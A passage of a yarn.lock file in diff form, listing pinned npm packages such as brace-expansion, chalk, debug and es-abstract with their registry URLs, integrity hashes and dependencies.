sha512-lBY4jxsNmCnSiu7kquw8ZC9F4+XLMOKypT3RnNHPvU2Kpd4W0xaPuLr5ZkRyOsvLYAY4yaW1ZwTW4xB7NIiZzg== + dependencies: + babel-plugin-jest-hoist "30.4.0" + babel-preset-current-node-syntax "^1.2.0" + +balanced-match@^1.0.0: + version "1.0.2" + resolved "https://registry.yarnpkg.com/balanced-match/-/balanced-match-1.0.2.tgz#e83e3a7e3f300b34cb9d87f615fa0cbf357690ee" + integrity sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw== + +balanced-match@^4.0.2: + version "4.0.2" + resolved "https://registry.yarnpkg.com/balanced-match/-/balanced-match-4.0.2.tgz#241591ea634702bef9c482696f2469406e16d233" + integrity sha512-x0K50QvKQ97fdEz2kPehIerj+YTeptKF9hyYkKf6egnwmMWAkADiO0QCzSp0R5xN8FTZgYaBfSaue46Ej62nMg== + dependencies: + jackspeak "^4.2.3" + +base64-js@^1.5.1: + version "1.5.1" + resolved "https://registry.yarnpkg.com/base64-js/-/base64-js-1.5.1.tgz#1b1b440160a5bf7ad40b650f095963481903930a" + integrity sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA== + +baseline-browser-mapping@^2.9.0: + version "2.9.19" + resolved "https://registry.yarnpkg.com/baseline-browser-mapping/-/baseline-browser-mapping-2.9.19.tgz#3e508c43c46d961eb4d7d2e5b8d1dd0f9ee4f488" + integrity sha512-ipDqC8FrAl/76p2SSWKSI+H9tFwm7vYqXQrItCuiVPt26Km0jS+NzSsBWAaBusvSbQcfJG+JitdMm+wZAgTYqg== + +brace-expansion@^1.1.7: + version "1.1.11" + resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-1.1.11.tgz#3c7fcbf529d87226f3d2f52b966ff5271eb441dd" + integrity sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA== + dependencies: + balanced-match "^1.0.0" + concat-map "0.0.1" + +brace-expansion@^2.0.2: + version "2.0.2" + resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-2.0.2.tgz#54fc53237a613d854c7bd37463aad17df87214e7" + integrity sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ== + dependencies: + balanced-match "^1.0.0" + +brace-expansion@^5.0.2: + version "5.0.2" + resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-5.0.2.tgz#b6c16d0791087af6c2bc463f52a8142046c06b6f" + integrity sha512-Pdk8c9poy+YhOgVWw1JNN22/HcivgKWwpxKq04M/jTmHyCZn12WPJebZxdjSa5TmBqISrUSgNYU3eRORljfCCw== + dependencies: + balanced-match "^4.0.2" + +braces@^3.0.3: + version "3.0.3" + resolved "https://registry.yarnpkg.com/braces/-/braces-3.0.3.tgz#490332f40919452272d55a8480adc0c441358789" + integrity sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA== + dependencies: + fill-range "^7.1.1" + +browserslist@^4.24.0: + version "4.28.1" + resolved "https://registry.yarnpkg.com/browserslist/-/browserslist-4.28.1.tgz#7f534594628c53c63101079e27e40de490456a95" + integrity sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA== + dependencies: + baseline-browser-mapping "^2.9.0" + caniuse-lite "^1.0.30001759" + electron-to-chromium "^1.5.263" + node-releases "^2.0.27" + update-browserslist-db "^1.2.0" + +bs-logger@^0.2.6: + version "0.2.6" + resolved "https://registry.yarnpkg.com/bs-logger/-/bs-logger-0.2.6.tgz#eb7d365307a72cf974cc6cda76b68354ad336bd8" + integrity sha512-pd8DCoxmbgc7hyPKOvxtqNcjYoOsABPQdcCUjGp3d42VR2CX1ORhk2A87oqqu5R1kk+76nsxZupkmyd+MVtCog== + dependencies: + fast-json-stable-stringify "2.x" + +bser@2.1.1: + version "2.1.1" + resolved "https://registry.yarnpkg.com/bser/-/bser-2.1.1.tgz#e6787da20ece9d07998533cfd9de6f5c38f4bc05" + integrity sha512-gQxTNE/GAfIIrmHLUE3oJyp5FO6HRBfhjnw4/wMmA63ZGDJnWBmgY/lyQBpnDUkGmAhbSe39tx2d/iTOAfglwQ== + dependencies: + node-int64 "^0.4.0" + +buffer-from@^1.0.0: + version "1.1.2" + resolved "https://registry.yarnpkg.com/buffer-from/-/buffer-from-1.1.2.tgz#2b146a6fd72e80b4f55d255f35ed59a3a9a41bd5" + integrity sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ== + +call-bind-apply-helpers@^1.0.0, call-bind-apply-helpers@^1.0.1, call-bind-apply-helpers@^1.0.2: + version "1.0.2" + resolved "https://registry.yarnpkg.com/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz#4b5428c222be985d79c3d82657479dbe0b59b2d6" + integrity sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ== + dependencies: + es-errors "^1.3.0" + function-bind "^1.1.2" + +call-bind@^1.0.2, call-bind@^1.0.5, call-bind@^1.0.6, call-bind@^1.0.7: + version "1.0.7" + resolved "https://registry.yarnpkg.com/call-bind/-/call-bind-1.0.7.tgz#06016599c40c56498c18769d2730be242b6fa3b9" + integrity sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w== + dependencies: + es-define-property "^1.0.0" + es-errors "^1.3.0" + function-bind "^1.1.2" + get-intrinsic "^1.2.4" + set-function-length "^1.2.1" + +call-bind@^1.0.8: + version "1.0.8" + resolved "https://registry.yarnpkg.com/call-bind/-/call-bind-1.0.8.tgz#0736a9660f537e3388826f440d5ec45f744eaa4c" + integrity sha512-oKlSFMcMwpUg2ednkhQ454wfWiU/ul3CkJe/PEHcTKuiX6RpbehUiFMXu13HalGZxfUwCQzZG747YXBn1im9ww== + dependencies: + call-bind-apply-helpers "^1.0.0" + es-define-property "^1.0.0" + get-intrinsic "^1.2.4" + set-function-length "^1.2.2" + +call-bound@^1.0.2, call-bound@^1.0.3, call-bound@^1.0.4: + version "1.0.4" + resolved "https://registry.yarnpkg.com/call-bound/-/call-bound-1.0.4.tgz#238de935d2a2a692928c538c7ccfa91067fd062a" + integrity sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg== + dependencies: + call-bind-apply-helpers "^1.0.2" + get-intrinsic "^1.3.0" + +callsites@^3.0.0, callsites@^3.1.0: + version "3.1.0" + resolved "https://registry.yarnpkg.com/callsites/-/callsites-3.1.0.tgz#b3630abd8943432f54b3f0519238e33cd7df2f73" + integrity sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ== + +camelcase@^5.3.1: + version "5.3.1" + resolved "https://registry.yarnpkg.com/camelcase/-/camelcase-5.3.1.tgz#e3c9b31569e106811df242f715725a1f4c494320" + integrity sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg== + +camelcase@^6.3.0: + version "6.3.0" + resolved "https://registry.yarnpkg.com/camelcase/-/camelcase-6.3.0.tgz#5685b95eb209ac9c0c177467778c9c84df58ba9a" + integrity sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA== + +caniuse-lite@^1.0.30001759: + version "1.0.30001769" + resolved "https://registry.yarnpkg.com/caniuse-lite/-/caniuse-lite-1.0.30001769.tgz#1ad91594fad7dc233777c2781879ab5409f7d9c2" + integrity sha512-BCfFL1sHijQlBGWBMuJyhZUhzo7wer5sVj9hqekB/7xn0Ypy+pER/edCYQm4exbXj4WiySGp40P8UuTh6w1srg== + +chalk@^2.4.2: + version "2.4.2" + resolved "https://registry.yarnpkg.com/chalk/-/chalk-2.4.2.tgz#cd42541677a54333cf541a49108c1432b44c9424" + integrity sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ== + dependencies: + ansi-styles "^3.2.1" + escape-string-regexp "^1.0.5" + supports-color "^5.3.0" + +chalk@^4.1.2: + version "4.1.2" + resolved "https://registry.yarnpkg.com/chalk/-/chalk-4.1.2.tgz#aac4e2b7734a740867aeb16bf02aad556a1e7a01" + integrity sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA== + dependencies: + ansi-styles "^4.1.0" + supports-color "^7.1.0" + +char-regex@^1.0.2: + version "1.0.2" + resolved "https://registry.yarnpkg.com/char-regex/-/char-regex-1.0.2.tgz#d744358226217f981ed58f479b1d6bcc29545dcf" + integrity sha512-kWWXztvZ5SBQV+eRgKFeh8q5sLuZY2+8WUIzlxWVTg+oGwY14qylx1KbKzHd8P6ZYkAg0xyIDU9JMHhyJMZ1jw== + +ci-info@^4.2.0: + version "4.4.0" + resolved "https://registry.yarnpkg.com/ci-info/-/ci-info-4.4.0.tgz#7d54eff9f54b45b62401c26032696eb59c8bd18c" + integrity sha512-77PSwercCZU2Fc4sX94eF8k8Pxte6JAwL4/ICZLFjJLqegs7kCuAsqqj/70NQF6TvDpgFjkubQB2FW2ZZddvQg== + +cjs-module-lexer@^2.1.0: + version "2.2.0" + resolved "https://registry.yarnpkg.com/cjs-module-lexer/-/cjs-module-lexer-2.2.0.tgz#b3ca5101843389259ade7d88c77bd06ce55849ca" + integrity sha512-4bHTS2YuzUvtoLjdy+98ykbNB5jS0+07EvFNXerqZQJ89F7DI6ET7OQo/HJuW6K0aVsKA9hj9/RVb2kQVOrPDQ== + +cliui@^8.0.1: + version "8.0.1" + resolved "https://registry.yarnpkg.com/cliui/-/cliui-8.0.1.tgz#0c04b075db02cbfe60dc8e6cf2f5486b1a3608aa" + integrity sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ== + dependencies: + string-width "^4.2.0" + strip-ansi "^6.0.1" + wrap-ansi "^7.0.0" + +co@^4.6.0: + version "4.6.0" + resolved "https://registry.yarnpkg.com/co/-/co-4.6.0.tgz#6ea6bdf3d853ae54ccb8e47bfa0bf3f9031fb184" + integrity sha512-QVb0dM5HvG+uaxitm8wONl7jltx8dqhfU33DcqtOZcLSVIKSDDLDi7+0LbAKiyI8hD9u42m2YxXSkMGWThaecQ== + +collect-v8-coverage@^1.0.2: + version "1.0.3" + resolved "https://registry.yarnpkg.com/collect-v8-coverage/-/collect-v8-coverage-1.0.3.tgz#cc1f01eb8d02298cbc9a437c74c70ab4e5210b80" + integrity sha512-1L5aqIkwPfiodaMgQunkF1zRhNqifHBmtbbbxcr6yVxxBnliw4TDOW6NxpO8DJLgJ16OT+Y4ztZqP6p/FtXnAw== + +color-convert@^1.9.0: + version "1.9.3" + resolved "https://registry.yarnpkg.com/color-convert/-/color-convert-1.9.3.tgz#bb71850690e1f136567de629d2d5471deda4c1e8" + integrity sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg== + dependencies: + color-name "1.1.3" + +color-convert@^2.0.1: + version "2.0.1" + resolved "https://registry.yarnpkg.com/color-convert/-/color-convert-2.0.1.tgz#72d3a68d598c9bdb3af2ad1e84f21d896abd4de3" + integrity sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ== + dependencies: + color-name "~1.1.4" + +color-name@1.1.3: + version "1.1.3" + resolved "https://registry.yarnpkg.com/color-name/-/color-name-1.1.3.tgz#a7d0558bd89c42f795dd42328f740831ca53bc25" + integrity sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw== + +color-name@~1.1.4: + version "1.1.4" + resolved "https://registry.yarnpkg.com/color-name/-/color-name-1.1.4.tgz#c2a09a87acbde69543de6f63fa3995c826c536a2" + integrity sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA== + +concat-map@0.0.1: + version "0.0.1" + resolved "https://registry.yarnpkg.com/concat-map/-/concat-map-0.0.1.tgz#d8a96bd77fd68df7793a73036a3ba0d5405d477b" + integrity sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg== + +convert-source-map@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/convert-source-map/-/convert-source-map-2.0.0.tgz#4b560f649fc4e918dd0ab75cf4961e8bc882d82a" + integrity sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg== + +cross-spawn@^7.0.3, cross-spawn@^7.0.6: + version "7.0.6" + resolved "https://registry.yarnpkg.com/cross-spawn/-/cross-spawn-7.0.6.tgz#8a58fe78f00dcd70c370451759dfbfaf03e8ee9f" + integrity sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA== + dependencies: + path-key "^3.1.0" + shebang-command "^2.0.0" + which "^2.0.1" + +data-view-buffer@^1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/data-view-buffer/-/data-view-buffer-1.0.1.tgz#8ea6326efec17a2e42620696e671d7d5a8bc66b2" + integrity sha512-0lht7OugA5x3iJLOWFhWK/5ehONdprk0ISXqVFn/NFrDu+cuc8iADFrGQz5BnRK7LLU3JmkbXSxaqX+/mXYtUA== + dependencies: + call-bind "^1.0.6" + es-errors "^1.3.0" + is-data-view "^1.0.1" + +data-view-buffer@^1.0.2: + version "1.0.2" + resolved "https://registry.yarnpkg.com/data-view-buffer/-/data-view-buffer-1.0.2.tgz#211a03ba95ecaf7798a8c7198d79536211f88570" + integrity sha512-EmKO5V3OLXh1rtK2wgXRansaK1/mtVdTUEiEI0W8RkvgT05kfxaH29PliLnpLP73yYO6142Q72QNa8Wx/A5CqQ== + dependencies: + call-bound "^1.0.3" + es-errors "^1.3.0" + is-data-view "^1.0.2" + +data-view-byte-length@^1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/data-view-byte-length/-/data-view-byte-length-1.0.1.tgz#90721ca95ff280677eb793749fce1011347669e2" + integrity sha512-4J7wRJD3ABAzr8wP+OcIcqq2dlUKp4DVflx++hs5h5ZKydWMI6/D/fAot+yh6g2tHh8fLFTvNOaVN357NvSrOQ== + dependencies: + call-bind "^1.0.7" + es-errors "^1.3.0" + is-data-view "^1.0.1" + +data-view-byte-length@^1.0.2: + version "1.0.2" + resolved "https://registry.yarnpkg.com/data-view-byte-length/-/data-view-byte-length-1.0.2.tgz#9e80f7ca52453ce3e93d25a35318767ea7704735" + integrity sha512-tuhGbE6CfTM9+5ANGf+oQb72Ky/0+s3xKUpHvShfiz2RxMFgFPjsXuRLBVMtvMs15awe45SRb83D6wH4ew6wlQ== + dependencies: + call-bound "^1.0.3" + es-errors "^1.3.0" + is-data-view "^1.0.2" + +data-view-byte-offset@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/data-view-byte-offset/-/data-view-byte-offset-1.0.0.tgz#5e0bbfb4828ed2d1b9b400cd8a7d119bca0ff18a" + integrity sha512-t/Ygsytq+R995EJ5PZlD4Cu56sWa8InXySaViRzw9apusqsOO2bQP+SbYzAhR0pFKoB+43lYy8rWban9JSuXnA== + dependencies: + call-bind "^1.0.6" + es-errors "^1.3.0" + is-data-view "^1.0.1" + +data-view-byte-offset@^1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/data-view-byte-offset/-/data-view-byte-offset-1.0.1.tgz#068307f9b71ab76dbbe10291389e020856606191" + integrity sha512-BS8PfmtDGnrgYdOonGZQdLZslWIeCGFP9tpan0hi1Co2Zr2NKADsvGYA8XxuG/4UWgJ6Cjtv+YJnB6MM69QGlQ== + dependencies: + call-bound "^1.0.2" + es-errors "^1.3.0" + is-data-view "^1.0.1" + +debug@^3.2.7: + version "3.2.7" + resolved "https://registry.yarnpkg.com/debug/-/debug-3.2.7.tgz#72580b7e9145fb39b6676f9c5e5fb100b934179a" + integrity sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ== + dependencies: + ms "^2.1.1" + +debug@^4.1.0, debug@^4.1.1, debug@^4.3.1, debug@^4.3.2, debug@^4.4.3: + version "4.4.3" + resolved "https://registry.yarnpkg.com/debug/-/debug-4.4.3.tgz#c6ae432d9bd9662582fce08709b038c58e9e3d6a" + integrity sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA== + dependencies: + ms "^2.1.3" + +dedent@^1.6.0: + version "1.7.1" + resolved "https://registry.yarnpkg.com/dedent/-/dedent-1.7.1.tgz#364661eea3d73f3faba7089214420ec2f8f13e15" + integrity sha512-9JmrhGZpOlEgOLdQgSm0zxFaYoQon408V1v49aqTWuXENVlnCuY9JBZcXZiCsZQWDjTm5Qf/nIvAy77mXDAjEg== + +deep-is@^0.1.3: + version "0.1.4" + resolved "https://registry.yarnpkg.com/deep-is/-/deep-is-0.1.4.tgz#a6f2dce612fadd2ef1f519b73551f17e85199831" + integrity sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ== + +deepmerge@^4.3.1: + version "4.3.1" + resolved "https://registry.yarnpkg.com/deepmerge/-/deepmerge-4.3.1.tgz#44b5f2147cd3b00d4b56137685966f26fd25dd4a" + integrity sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A== + +define-data-property@^1.0.1, define-data-property@^1.1.4: + version "1.1.4" + resolved "https://registry.yarnpkg.com/define-data-property/-/define-data-property-1.1.4.tgz#894dc141bb7d3060ae4366f6a0107e68fbe48c5e" + integrity sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A== + dependencies: + es-define-property "^1.0.0" + es-errors "^1.3.0" + gopd "^1.0.1" + +define-properties@^1.2.0, define-properties@^1.2.1: + version "1.2.1" + resolved "https://registry.yarnpkg.com/define-properties/-/define-properties-1.2.1.tgz#10781cc616eb951a80a034bafcaa7377f6af2b6c" + integrity sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg== + dependencies: + define-data-property "^1.0.1" + has-property-descriptors "^1.0.0" + object-keys "^1.1.1" + +detect-newline@^3.1.0: + version "3.1.0" + resolved "https://registry.yarnpkg.com/detect-newline/-/detect-newline-3.1.0.tgz#576f5dfc63ae1a192ff192d8ad3af6308991b651" + integrity sha512-TLz+x/vEXm/Y7P7wn1EJFNLxYpUD4TgMosxY6fAVJUnJMbupHBOncxyWUG9OpTaH9EBD7uFI5LfEgmMOc54DsA== + +doctrine@^2.1.0: + version "2.1.0" + resolved "https://registry.yarnpkg.com/doctrine/-/doctrine-2.1.0.tgz#5cd01fc101621b42c4cd7f5d1a66243716d3f39d" + integrity sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw== + dependencies: + esutils "^2.0.2" + +dotenv@^17.4.2: + version "17.4.2" + resolved "https://registry.yarnpkg.com/dotenv/-/dotenv-17.4.2.tgz#c07e54a746e11eba021dd9e1047ced5afdc1c034" + integrity sha512-nI4U3TottKAcAD9LLud4Cb7b2QztQMUEfHbvhTH09bqXTxnSie8WnjPALV/WMCrJZ6UV/qHJ6L03OqO3LcdYZw== + +dunder-proto@^1.0.0, dunder-proto@^1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/dunder-proto/-/dunder-proto-1.0.1.tgz#d7ae667e1dc83482f8b70fd0f6eefc50da30f58a" + integrity sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A== + dependencies: + call-bind-apply-helpers "^1.0.1" + es-errors "^1.3.0" + gopd "^1.2.0" + +eastasianwidth@^0.2.0: + version "0.2.0" + resolved "https://registry.yarnpkg.com/eastasianwidth/-/eastasianwidth-0.2.0.tgz#696ce2ec0aa0e6ea93a397ffcf24aa7840c827cb" + integrity sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA== + +electron-to-chromium@^1.5.263: + version "1.5.286" + resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.5.286.tgz#142be1ab5e1cd5044954db0e5898f60a4960384e" + integrity sha512-9tfDXhJ4RKFNerfjdCcZfufu49vg620741MNs26a9+bhLThdB+plgMeou98CAaHu/WATj2iHOOHTp1hWtABj2A== + +emittery@^0.13.1: + version "0.13.1" + resolved "https://registry.yarnpkg.com/emittery/-/emittery-0.13.1.tgz#c04b8c3457490e0847ae51fced3af52d338e3dad" + integrity sha512-DeWwawk6r5yR9jFgnDKYt4sLS0LmHJJi3ZOnb5/JdbYwj3nW+FxQnHIjhBKz8YLC7oRNPVM9NQ47I3CVx34eqQ== + +emoji-regex@^8.0.0: + version "8.0.0" + resolved "https://registry.yarnpkg.com/emoji-regex/-/emoji-regex-8.0.0.tgz#e818fd69ce5ccfcb404594f842963bf53164cc37" + integrity sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A== + +emoji-regex@^9.2.2: + version "9.2.2" + resolved "https://registry.yarnpkg.com/emoji-regex/-/emoji-regex-9.2.2.tgz#840c8803b0d8047f4ff0cf963176b32d4ef3ed72" + integrity sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg== + +error-ex@^1.3.1: + version "1.3.2" + resolved "https://registry.yarnpkg.com/error-ex/-/error-ex-1.3.2.tgz#b4ac40648107fdcdcfae242f428bea8a14d4f1bf" + integrity sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g== + dependencies: + is-arrayish "^0.2.1" + +es-abstract@^1.22.1, es-abstract@^1.22.3, es-abstract@^1.23.0, es-abstract@^1.23.2: + version "1.23.3" + resolved "https://registry.yarnpkg.com/es-abstract/-/es-abstract-1.23.3.tgz#8f0c5a35cd215312573c5a27c87dfd6c881a0aa0" + integrity sha512-e+HfNH61Bj1X9/jLc5v1owaLYuHdeHHSQlkhCBiTK8rBvKaULl/beGMxwrMXjpYrv4pz22BlY570vVePA2ho4A== + dependencies: + array-buffer-byte-length "^1.0.1" + arraybuffer.prototype.slice "^1.0.3" + available-typed-arrays "^1.0.7" + call-bind "^1.0.7" + data-view-buffer "^1.0.1" + data-view-byte-length "^1.0.1" + data-view-byte-offset "^1.0.0" + es-define-property "^1.0.0" + es-errors "^1.3.0" + es-object-atoms "^1.0.0" + es-set-tostringtag "^2.0.3" + es-to-primitive "^1.2.1" + function.prototype.name "^1.1.6" + get-intrinsic "^1.2.4" + get-symbol-description "^1.0.2" + globalthis "^1.0.3" + gopd "^1.0.1" + has-property-descriptors "^1.0.2" + has-proto "^1.0.3" + has-symbols "^1.0.3" + hasown "^2.0.2" + internal-slot "^1.0.7" + is-array-buffer "^3.0.4" + is-callable "^1.2.7" + is-data-view "^1.0.1" + is-negative-zero "^2.0.3" + is-regex "^1.1.4" + is-shared-array-buffer "^1.0.3" + is-string "^1.0.7" + is-typed-array "^1.1.13" + is-weakref "^1.0.2" + object-inspect "^1.13.1" + object-keys "^1.1.1" + object.assign "^4.1.5" + regexp.prototype.flags "^1.5.2" + safe-array-concat "^1.1.2" + safe-regex-test "^1.0.3" + string.prototype.trim "^1.2.9" + string.prototype.trimend "^1.0.8" + string.prototype.trimstart "^1.0.8" + typed-array-buffer "^1.0.2" + typed-array-byte-length "^1.0.1" + typed-array-byte-offset "^1.0.2" + typed-array-length "^1.0.6" + unbox-primitive "^1.0.2" + which-typed-array "^1.1.15" + +es-abstract@^1.23.5, es-abstract@^1.23.9, es-abstract@^1.24.0: + version "1.24.1" + resolved "https://registry.yarnpkg.com/es-abstract/-/es-abstract-1.24.1.tgz#f0c131ed5ea1bb2411134a8dd94def09c46c7899" + integrity sha512-zHXBLhP+QehSSbsS9Pt23Gg964240DPd6QCf8WpkqEXxQ7fhdZzYsocOr5u7apWonsS5EjZDmTF+/slGMyasvw== + dependencies: + array-buffer-byte-length "^1.0.2" + arraybuffer.prototype.slice "^1.0.4" + available-typed-arrays "^1.0.7" + call-bind "^1.0.8" + call-bound "^1.0.4" + data-view-buffer "^1.0.2" + data-view-byte-length "^1.0.2" + data-view-byte-offset "^1.0.1" + es-define-property "^1.0.1" + es-errors "^1.3.0" + es-object-atoms "^1.1.1" + es-set-tostringtag "^2.1.0" + es-to-primitive "^1.3.0" + function.prototype.name "^1.1.8" + get-intrinsic "^1.3.0" + get-proto "^1.0.1" + get-symbol-description "^1.1.0" + globalthis "^1.0.4" + gopd "^1.2.0" + has-property-descriptors "^1.0.2" + has-proto "^1.2.0" + has-symbols "^1.1.0" + hasown "^2.0.2" + internal-slot "^1.1.0" + is-array-buffer "^3.0.5" + is-callable "^1.2.7" + is-data-view "^1.0.2" + is-negative-zero "^2.0.3" + is-regex "^1.2.1" + is-set "^2.0.3" + is-shared-array-buffer "^1.0.4" + is-string "^1.1.1" + is-typed-array "^1.1.15" + is-weakref "^1.1.1" + math-intrinsics "^1.1.0" + object-inspect "^1.13.4" + object-keys "^1.1.1" + object.assign "^4.1.7" + own-keys "^1.0.1" + regexp.prototype.flags "^1.5.4" + safe-array-concat "^1.1.3" + safe-push-apply "^1.0.0" + safe-regex-test "^1.1.0" + set-proto "^1.0.0" + stop-iteration-iterator "^1.1.0" + string.prototype.trim "^1.2.10" + string.prototype.trimend "^1.0.9" + string.prototype.trimstart "^1.0.8" + typed-array-buffer "^1.0.3" + typed-array-byte-length "^1.0.3" + typed-array-byte-offset "^1.0.4" + typed-array-length "^1.0.7" + unbox-primitive "^1.1.0" + which-typed-array "^1.1.19" + +es-define-property@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/es-define-property/-/es-define-property-1.0.0.tgz#c7faefbdff8b2696cf5f46921edfb77cc4ba3845" + integrity sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ== + dependencies: + get-intrinsic "^1.2.4" + +es-define-property@^1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/es-define-property/-/es-define-property-1.0.1.tgz#983eb2f9a6724e9303f61addf011c72e09e0b0fa" + integrity sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g== + +es-errors@^1.2.1, es-errors@^1.3.0: + version "1.3.0" + resolved "https://registry.yarnpkg.com/es-errors/-/es-errors-1.3.0.tgz#05f75a25dab98e4fb1dcd5e1472c0546d5057c8f" + integrity sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw== + +es-object-atoms@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/es-object-atoms/-/es-object-atoms-1.0.0.tgz#ddb55cd47ac2e240701260bc2a8e31ecb643d941" + integrity 